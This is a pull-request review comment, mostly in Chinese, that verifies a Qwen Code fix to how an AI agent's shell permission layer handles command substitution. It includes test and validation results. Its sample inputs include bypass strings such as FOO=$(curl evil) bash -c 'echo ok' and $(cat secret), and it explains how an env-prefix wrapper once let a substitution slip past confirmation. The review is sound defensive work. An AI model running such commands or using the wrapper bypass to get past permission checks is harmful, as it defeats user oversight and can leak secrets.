packages/core 7 个相关测试文件全量 831 / 831 permission-manager.test.ts 235 + shell.test.ts 202 + monitor.test.ts 73 + shell-utils.test.ts 129 + shellAstParser.test.ts 148 + shellReadOnlyChecker.test.ts 33 + tools.test.ts 11
packages/core 仅本 PR 新增(permission-manager.test -t "command substitution" 6 / 6 issue #4093 dedicated describe block
packages/cli 4 个相关测试文件 92 / 92 ToolConfirmationMessage.test.tsx 19(含 2 个新 render case)+ 3 个 hook/command 测试
npm run typecheck (core + cli) 0 errors
npm run lint (root) 0 errors 15 个 pre-existing warnings 全部在 vscode-ide-companion(与本 PR 无关)
npx prettier --check 全部变更文件 ✅ pass
npx eslint 全部变更 .ts/.tsx ✅ pass
npm run build + npm run bundle ✅ pass dist/cli.js 产出正常

§2. R6 review 关键改动核对

改动 落地点 状态
resolveDefaultPermission 不再返回 'deny' —— substitution 走 'ask' permission-manager.ts:411-435 返回类型从 'allow'|'ask'|'deny' 收窄到 'allow'|'ask'
ShellToolInvocation.getDefaultPermission()stripShellWrapper 之前hasShellSubstitution(raw) 拦截 shell.ts:1380-1393(明确点名 R6 cid 3298521039) ✅ —— §4 实测 #3 验证
MonitorToolInvocation.getDefaultPermission() 同步移除 substitution-deny monitor.ts:171-187
共享常量 COMMAND_SUBSTITUTION_WARNING —— UI 文案不漂移 shell-utils.ts:1206-1208 ✅ —— §3 #10 验证三处调用都用同一常量
hasShellSubstitution() dual-check(raw + stripped) shell-utils.ts:1233-1238 ✅ —— §3 #8/#9 实测两类绕过都被抓到
buildShellExecWarnings() 统一三处(shell / monitor / PermissionManager)detection 语义 shell-utils.ts:1250-1262
AST evaluateStatementReadOnly 顶部 guard containsCommandSubstitutionAST(覆盖 variable_assignment / redirected_statement shellAstParser.ts + shellReadOnlyChecker.ts ✅(148 + 33 testcase 全过)
ToolExecuteConfirmationDetails.warnings?: string[] 新字段 + CLI host wiring tools.ts:692-704 + ToolConfirmationMessage.tsx
audit-log infrastructure 已 revert(R6 提的 scope 太大) a5d9f087e revert: remove substitution audit-log infrastructure
cleanup: remove out-of-scope additions 已落地 c6e130698

§3. 直驱 PermissionManager.evaluate(...) 的 19 项 real-I/O 断言

driver: .qwen/scripts/pr4386/realio-permission.mjs全部从 dist/src/permissions/index.js 加载真 PermissionManager,不 mock,用最小 PermissionManagerConfig 直接喂规则集 + 命令。

# 场景 期望 实测
1 standalone python3 -c "print($(echo hello))"(无规则) ask
2 #4093 核心 regressiongit status && python3 -c "print($(echo hello))" + allow: [Bash(git *)] ask(曾经 deny
3 backtick: echo `whoami` ask
4 process substitution: diff <(ls /a) <(ls /b) ask
5 deny precedencerm -rf "$(pwd)/build" + deny: [Bash(rm *)] deny(仍优先)
6 readonly: ls -la allow
7 explicit ask rule: echo hello + ask: [Bash(echo *)] ask
8 R6 env-prefix wrapper: hasShellSubstitution("FOO=$(curl evil) bash -c \"echo ok\"") true
9 quoted body inside wrapper: hasShellSubstitution("bash -c 'echo $(cat secret)'") true
10 buildShellExecWarnings() 用共享常量 返回 [COMMAND_SUBSTITUTION_WARNING]
11 #10 但 clean command 返回 undefined(便于调用方跳过 assignment)
12 复合 substitution git status && python3 -c "print($(echo x))" + allow: [Bash(git *)] most-restrictive → ask
13 PR 描述里的 deny escape hatch Bash(*$\(*)(带反斜杠转义) PR 写的是 deny实测 ask ⚠️ 见 §5
14 可工作的 escape hatch Bash(*$(*)(无反斜杠) deny
15 可工作的 deny 在复合命令中仍胜过 allow deny
16-19 detectCommandSubstitution 覆盖 4 种形式($(...) / `…` / <(...) / >(...) true

18 PASS + 1 PASS-with-finding(#13 说明 PR 描述的 escape-hatch 例子语法有误差,不阻塞 fix)。

§4. 真 TUI(tmux 会话 pr4386 × npm run dev

实际起 Qwen Code dev TUI,用 tmux send-keys 真键发指令,每一步都 tmux capture-pane 比对。截图见 /tmp/pr4386-screenshots/0[123]-*.txt

# 模式 操作 期望 实测
1 DEFAULT 让 agent 通过 run_shell_commandecho "$(date +%Y)" 弹确认对话框,含 ⚠ Contains command substitution ($(...), backticks, <(...), or >(...)). 一行 ✅ 见 01-confirmation-dialog-with-warning.txt:对话框完整渲染,⚠ 文案逐字对应 COMMAND_SUBSTITUTION_WARNING 常量;4 个 allow 选项可选
2 YOLO 同样让 agent 跑 echo "year is $(date +%Y)" 直接执行(不再是修复前的 opaque deny ✅ 见 02-yolo-auto-executes-substitution.txt✓ Shell echo "year is $(date +%Y)" → year is 2026,命令成功执行
3 auto-accept-edits(shell 仍需确认) R6 env-prefix wrapper bypassFOO=$(date +%Y) bash -c "echo done" 必须弹确认对话框 + 警告(修复前会因为 stripShellWrapper 把命令降级成 read-only echo done静默自动执行 ✅ 见 03-env-prefix-wrapper-bypass-caught.txt:对话框正确显示原始 FOO=$(date +%Y) bash -c "echo done"不是 stripped 后的 echo done),⚠ 警告照常

#3 是这次复跑里我最看重的一条。R6 review 提到的 FOO=$(curl evil) bash -c 'echo ok' 实测路径 = stripShellWrapper 同时丢 env-prefix + 拆 wrapper → 内层 echo done 在 AST 里是 read-only → 修复前自动放行(YOLO 路径里根本不会让用户看到 substitution 这件事发生)。shell.ts:1380hasShellSubstitution(this.params.command) 在 strip 之前先 gate 一下,完美闭合这个 bypass。

§5. PR 描述里的小文档误差(不阻塞

PR 描述在 "Main risk or tradeoff" 段写:

Mitigation: anyone wanting hard-deny behavior can write an explicit permissions.deny rule (e.g. Bash(*$\(*)), which the PR explicitly preserves over the new 'ask' default.

实测 Bash(*$\(*)(带反斜杠)不会 match,因为 rule 解析器不把 \ 当转义。正确语法是 Bash(*$(*)(直接写字面 $(,外层 Bash(...) 包装的 specifier 内部允许 ()。

rule="Bash(*$\(*)" → ask     ← PR 描述里的例子(错的)
rule="Bash(*$(*)" → deny     ← 实际可工作的 escape hatch
rule="Bash(*$(echo*)" → deny

建议作者在 description / docs 里把那个反斜杠去掉。fix 本身没问题 —— escape hatch 还在,只是 PR 文档写的例子要更正。

§6. 代码评审要点

  • 核心 fix 一行级PermissionManager.resolveDefaultPermission() 移除 if (detectCommandSubstitution) return 'deny' 一个分支 + 返回类型收窄 + JSDoc 解释「为什么不在这里 deny」。最小手术
  • 关键洞察:原来 deny 的不一致根因是 'default'resolveDefaultPermission() 的入口受 hasRelevantRules() 把守。standalone 命令因为没规则就完全绕过 PM,走 ShellTool 自己的 getDefaultPermission()(不在那一层 deny) → ask;compound 命令因为有 Bash(git *) allow 让 hasRelevantRules() 返回 true → 进入 PM → 撞到 substitution-deny → deny。同一个 substitution,相反结论,纯粹是其它无关规则的存在与否决定的。修这一行就把"是否触发 deny"从"有没有别的规则"解耦了。
  • getDefaultPermission()stripShellWrapper 之前 gate(R6):这条非常聪明。stripShellWrapper 服务的是「让 bash -c "git status" 能被 Bash(git *) allow 规则匹配」,但它会同时丢 env-prefix。结果就是 FOO=$(curl evil) bash -c 'echo ok' 被降级到内层 echo ok → readonly → 自动跑。新代码在 strip 之前用 hasShellSubstitution(raw) 先看一眼,完全不影响 allow-rule matching 正常路径(match 还是用 stripped form),但闭合了这条 ghost path。
  • 共享 COMMAND_SUBSTITUTION_WARNING 常量:文案不会在 shell.ts / monitor.ts / PM 三处漂移。审稿人也只需要 grep 一处验证文案。这是 R3 review 提的,被采纳得很干净。
  • buildShellExecWarnings() 用 dual-check:检测语义统一在一个 helper 里。shell.ts / monitor.ts 两处的 confirmation 渲染都通过它,PM 的 audit gate 也通过它(虽然 audit-log 已 revert,但 dual-check predicate 留下来 —— 仍是 getDefaultPermission() 入口的拦截判据)。修一处生效全局。
  • AST evaluateStatementReadOnly 顶部加 containsCommandSubstitutionAST guard(R4):之前 variable_assignment / redirected_statement 节点有 substitution-detection blind spot;现在把 substitution 当作"任何节点都不可能 read-only"的硬约束放在顶层,每条 node-type 路径自动继承。属于纵深防御 —— 即使 hasShellSubstitution(raw) 失手,AST 层还会兜住。
  • ToolExecuteConfirmationDetails.warnings?: string[] 字段:source-compatible(optional),ACP / IDE companion 可以自行选择是否渲染。这次只 wire 进了 CLI host,符合 "scope 不外延" 的克制。
  • 测试覆盖:5 个 command substitution (issue #4093) 用例在 permission-manager.test.ts;4 个 command substitution warning (issue #4093) 用例在 shell.test.ts;2 个 render 用例在 ToolConfirmationMessage.test.tsx。每一个都对应一个具体场景,可读性好。

§7. 风险与遗留

  • 行为变更已在 PR 描述里讲清楚:substitution 命令现在会"问一声"而不是 deny;YOLO 模式下会执行。这是 deliberate trade-off,PR 也提供了 escape hatch(Bash(*$(*) 规则)。
  • deny 优先级保留:场景 TypeError in Authentication Selection Interface #5 实测验证 Bash(rm *) 优先于 substitution-ask 默认。
  • 没有触及 shell-utils.ts checkCommandPermissions:那个路径是 !{…} slash-command 注入防御,跟 agent-tool 路径不同,PR 在描述里明确划线。
  • ⚠️ scope 噪音:6 个文件(directoryCommand.tsx / useCommandCompletion.tsx / useCommandCompletion.test.ts / useSlashCompletion.test.ts / dashscope.ts / directoryCommand.test.tsx)是纯 prettier 格式化变动(多个换行、单行折多行),零行为变更。看起来是某次 prettier --write . 顺带提交进来的。不阻塞但建议下次拆出去
  • ⚠️ PR 描述里 Bash(*$\(*) 例子语法错误(§5)。fix 本体没问题,建议修正描述。
  • ⚠️ 仅 macOS arm64 本机覆盖;CI 已在 macos / ubuntu / windows 三平台 SUCCESS。
  • 没有 hostess 接触:不修 core/ 之外的核心数据结构、不动 settings schema、不引新依赖。

验证环境:macOS Darwin 25.4.0 arm64,Node v22.17.0;tmux 会话 pr4386(140×50);merged worktree /private/tmp/pr4386-merged(branch pr-4386-test = PR head c6e130698 + git merge origin/main,merge commit f577361dd);driver realio-permission.mjs 19 assertion + 3 个真 TUI 场景全绿。— wenshao

@pomelo-nwu pomelo-nwu merged commit a5ec1af into main May 27, 2026
33 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Bug: Command substitution denial is inconsistently applied and opaque

4 participants